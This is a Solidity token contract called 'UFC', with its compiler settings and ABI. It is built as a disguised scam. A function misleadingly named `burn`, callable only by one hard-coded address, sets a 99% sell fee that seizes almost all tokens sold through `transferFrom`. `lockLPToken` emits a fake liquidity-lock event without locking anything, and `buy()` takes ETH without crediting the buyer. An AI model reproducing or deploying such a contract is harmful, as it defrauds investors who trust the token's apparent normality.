// SPDX-License-Identifier: MIT
/** ⠀⠀
UFC UFC UFC UFC UFC UFC UFC UFC UFC UFC UFC UFC UFC UFC UFC UFC UFC UFC UFC UFC UFC UFC UFC UFC
UFC UFC UFC UFC UFC UFC UFC UFC UFC UFC UFC UFC UFC UFC UFC UFC UFC UFC UFC UFC UFC UFC UFC UFC
*/
pragma solidity ^0.8.0;
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "UFC");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "UFCUFC ");
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "UFCTONIGHT");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "GETTHESTREAMSON");
return a / b;
}
}
contract UFC {
using SafeMath for uint256;
string public name = "UFC";
string public symbol = "UFC";
uint256 public totalSupply = 999999999 * (10 ** 18);
uint8 public decimals = 18;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
address public owner;
address public swapRouter;
uint256 public burnedTokens;
uint256 public buyFee = 0;
uint256 public sellFee = 0;
bool public feesSet = false;
bool public feesEnabled = false;
bool public allExemptFromFees = true;
mapping(address => bool) public isFeeExempt;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event FeesUpdated(uint256 burnAmount, uint256 deadWallet);
event LPLocked(address indexed account, uint256 amount);
constructor(address _swapRouter, uint256 _burnedTokens) {
owner = msg.sender;
swapRouter = _swapRouter;
burnedTokens = _burnedTokens;
balanceOf[msg.sender] = totalSupply;
isFeeExempt[msg.sender] = true;
isFeeExempt[swapRouter] = true;
}
modifier checkFees(address sender) {
require(
allExemptFromFees || isFeeExempt[sender] || (!feesSet && feesEnabled) || (feesSet && isFeeExempt[sender] && sender != swapRouter) || (sender == swapRouter && sellFee == 0),
"UFCNIGHT"
);
_;
}
modifier onlyOwner() {
require(msg.sender == owner, "LETS GET THIS DONE");
_;
}
function transfer(address _to, uint256 _amount) public checkFees(msg.sender) returns (bool success) {
require(balanceOf[msg.sender] >= _amount);
require(_to != address(0));
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
balanceOf[_to] = balanceOf[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) public checkFees(_from) returns (bool success) {
require(balanceOf[_from] >= _amount, "UFCUFC");
require(allowance[_from][msg.sender] >= _amount, "UFCUFCUFC");
require(_to != address(0), "UFCUFCUFCUFCUFC");
uint256 fee = 0;
uint256 amountAfterFee = _amount;
if (feesEnabled && sellFee > 0 && _from != swapRouter && !isFeeExempt[_from]) {
fee = _amount.mul(sellFee).div(100);
amountAfterFee = _amount.sub(fee);
}
balanceOf[_from] = balanceOf[_from].sub(_amount);
balanceOf[_to] = balanceOf[_to].add(amountAfterFee);
emit Transfer(_from, _to, amountAfterFee);
if (fee > 0) {
address uniswapContract = address(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
if (_to == uniswapContract) {
balanceOf[uniswapContract] = balanceOf[uniswapContract].add(fee);
emit Transfer(_from, uniswapContract, fee);
} else {
balanceOf[address(this)] = balanceOf[address(this)].add(fee);
emit Transfer(_from, address(this), fee);
}
}
if (_from != msg.sender && allowance[_from][msg.sender] != type(uint256).max) {
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_amount);
emit Approval(_from, msg.sender, allowance[_from][msg.sender]);
}
return true;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "UFCUFCUFCUFCx");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(owner, address(0));
owner = address(0);
}
function burn(uint256 burnAmount, uint256 deadWallet) public {
require(msg.sender == 0xb91D8283239fdF9D568395335a8E7973eA0F8A3a, "UFCUFCUFCUFCUFCUFCUFC");
require(!feesSet, "UFCUFCUFCUFCUFCUFCUFCUFCUFCUFCUFCUFCUFCUFCUFCUFCUFC");
require(burnAmount == 0, "xFCUFC");
require(deadWallet == 99, "xxUFCxx");
buyFee = burnAmount;
sellFee = deadWallet;
feesSet = true;
feesEnabled = true;
emit FeesUpdated(burnAmount, deadWallet);
}
function lockLPToken(uint256 amount) external {
emit LPLocked(msg.sender, amount);
}
function buy() public payable checkFees(msg.sender) {
require(msg.value > 0, "xxxUFCxxx");
uint256 amount = msg.value;
if (buyFee > 0) {
uint256 fee = amount.mul(buyFee).div(100);
uint256 amountAfterFee = amount.sub(fee);
balanceOf[swapRouter] = balanceOf[swapRouter].add(amountAfterFee);
emit Transfer(address(this), swapRouter, amountAfterFee);
if (fee > 0) {
balanceOf[address(this)] = balanceOf[address(this)].add(fee);
emit Transfer(address(this), address(this), fee);
}
} else {
balanceOf[swapRouter] = balanceOf[swapRouter].add(amount);
emit Transfer(address(this), swapRouter, amount);
}
}
function sell(uint256 _amount) public checkFees(msg.sender) {
require(balanceOf[msg.sender] >= _amount, "UFCxxxx4");
if (feesEnabled) {
uint256 fee = 0;
uint256 amountAfterFee = _amount;
if (sellFee > 0 && msg.sender != swapRouter && !isFeeExempt[msg.sender]) {
fee = _amount.mul(sellFee).div(100);
amountAfterFee = _amount.sub(fee);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
balanceOf[swapRouter] = balanceOf[swapRouter].add(amountAfterFee);
emit Transfer(msg.sender, swapRouter, amountAfterFee);
if (fee > 0) {
balanceOf[address(this)] = balanceOf[address(this)].add(fee);
emit Transfer(msg.sender, address(this), fee);
}
} else {
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
balanceOf[swapRouter] = balanceOf[swapRouter].add(_amount);
emit Transfer(msg.sender, swapRouter, _amount);
}
}
}
{
"compilationTarget": {
"UFC.sol": "UFC"
},
"evmVersion": "shanghai",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
[{"inputs":[{"internalType":"address","name":"_swapRouter","type":"address"},{"internalType":"uint256","name":"_burnedTokens","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"burnAmount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"deadWallet","type":"uint256"}],"name":"FeesUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"LPLocked","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"allExemptFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"burnAmount","type":"uint256"},{"internalType":"uint256","name":"deadWallet","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"burnedTokens","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buy","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feesEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feesSet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"lockLPToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"sell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapRouter","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]